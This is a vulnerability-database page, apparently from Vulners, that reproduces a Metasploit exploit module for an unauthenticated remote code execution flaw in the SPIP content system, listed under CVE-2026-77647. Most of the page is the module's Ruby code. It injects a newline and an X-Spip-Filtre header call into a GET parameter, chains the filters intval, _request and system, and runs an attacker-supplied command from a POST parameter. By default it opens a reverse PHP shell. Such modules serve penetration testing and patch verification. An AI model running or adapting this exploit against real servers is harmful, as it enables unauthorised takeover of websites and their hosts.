Lucene search
+L

SPIP X-Spip-Filtre Unauthenticated RCE

🗓️ 20 Aug 2026 00:00:00Reported by Julien VoisinType 
metasploit
 metasploit
🔗 www.rapid7.com👁 8 Views

Unauthenticated RCE in SPIP via PHP function-call injection in analyse_resultat_skel.

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2026-77647
21 Aug 202600:00
circl
cve
CVE
CVE-2026-77647
20 Aug 202622:24
cve
cvelist
Cvelist
CVE-2026-77647
20 Aug 202622:24
cvelist
debiancve
Debian CVE
CVE-2026-77647
20 Aug 202622:24
debiancve
euvd
EUVD
EUVD-2026-63757
21 Aug 202600:31
euvd
nvd
NVD
CVE-2026-77647
20 Aug 202623:16
nvd
osv
OSV
DEBIAN-CVE-2026-77647
20 Aug 202623:16
osv
packetstorm
Packet Storm
SPIP X-Spip-Filtre Unauthenticated Remote Code Execution
24 Aug 202600:00
packetstorm
ptsecurity
Positive Technologies
PT-2026-79268
20 Aug 202600:00
ptsecurity
nessus
Tenable Nessus
Linux Distros Unpatched Vulnerability : CVE-2026-77647
21 Aug 202600:00
nessus
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Spip
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SPIP X-Spip-Filtre Unauthenticated RCE',
        'Description' => %q{
          This module exploits a PHP function-call injection in SPIP's
          template engine. The analyse_resultat_skel() function extracts
          <?php header("X-Spip-Filtre: ..."); ?> patterns from the rendered
          page body and calls the listed functions as template filters.

          A newline character is injected into a GET parameter value, which
          places a header() call on its own line inside the compiled PHP
          template. The filter chain intval|_request|system reads a shell
          command from a POST parameter and executes it.
        },
        'Author' => [
          'Julien Voisin' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-4-21.html'],
          ['CVE', '2026-77647']
        ],
        'Targets' => [
          [
            'Automatic',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd
            }
          ]
        ],
        'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_php_ssl' },
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2026-08-20',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
  end

  def check
    rversion = spip_version || spip_plugin_version('spip')
    return CheckCode::Unknown('Unable to determine the version of SPIP') unless rversion

    print_status("SPIP Version detected: #{rversion}")

    injection = "\nheader(\"X-Spip-Filtre: intval|phpinfo\");\n"
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'spip.php'),
      'vars_get' => { Rex::Text.rand_text_alpha(6) => injection }
    )
    return CheckCode::Unknown('Target did not respond') unless res

    phpinfo_markers = ['PHP Version', 'PHP Extension', 'phpinfo()']
    matches = phpinfo_markers.count { |m| res.body&.include?(m) }

    unless matches >= 2
      return CheckCode::Safe('Filter execution was not observed')
    end

    if res.body =~ /disable_functions.*?<td[^>]*>([^<]+)/mi
      disabled = ::Regexp.last_match(1).strip
      print_warning("disable_functions: #{disabled}") unless disabled.empty?
    end

    CheckCode::Vulnerable('X-Spip-Filtre invoked phpinfo() on the rendered page')
  end

  def exploit
    injection = "\nheader(\"X-Spip-Filtre:intval|_request|system\");\n"

    print_status('Sending exploit via newline injection (intval|_request|system)...')
    send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'spip.php'),
        'vars_get' => { Rex::Text.rand_text_alpha(4) => injection },
        'vars_post' => { '0' => payload.encoded }
      }
    )
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Aug 2026 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 3.19.8
EPSS0.00816
SSVC
8